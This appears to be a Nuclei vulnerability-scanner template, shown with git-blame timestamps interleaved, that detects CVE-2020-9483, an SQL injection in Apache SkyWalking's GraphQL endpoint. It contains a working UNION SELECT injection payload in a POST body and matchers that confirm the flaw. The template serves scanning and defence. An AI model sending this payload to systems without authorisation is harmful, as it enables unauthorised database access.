2021-03-21 04:54:00 +00:00
id : CVE-2020-9483
info :
name : SkyWalking SQLI
author : pikpikcu
severity : high
2021-03-24 06:56:49 +00:00
description : |
When use H2/MySQL/TiDB as Apache SkyWalking storage, the metadata query through GraphQL protocol, there is a SQL injection vulnerability, which allows to access unpexcted data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
reference : https://github.com/apache/skywalking/pull/4639
2021-03-21 04:54:00 +00:00
tags : cve,cve2020,sqli,skywalking
requests :
- method : POST
path :
- "{{BaseURL}}/graphql"
headers :
Content-Type : application/json
body : |
{"query" : "query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}" , "variables" : {"d" : {"start" : "2021-11-11" , "end" : "2021-11-12" , "step" : "DAY" }}}
matchers-condition : and
matchers :
- type : word
words :
- "Content-Type: application/json"
part : header
- type : word
words :
- "UNION SELECT 1,CONCAT('~','9999999999','~')--"
2021-03-21 09:37:06 +00:00
- 'Exception while fetching data'
2021-03-21 04:54:00 +00:00
part : body
condition : and
- type : status
status :
- 200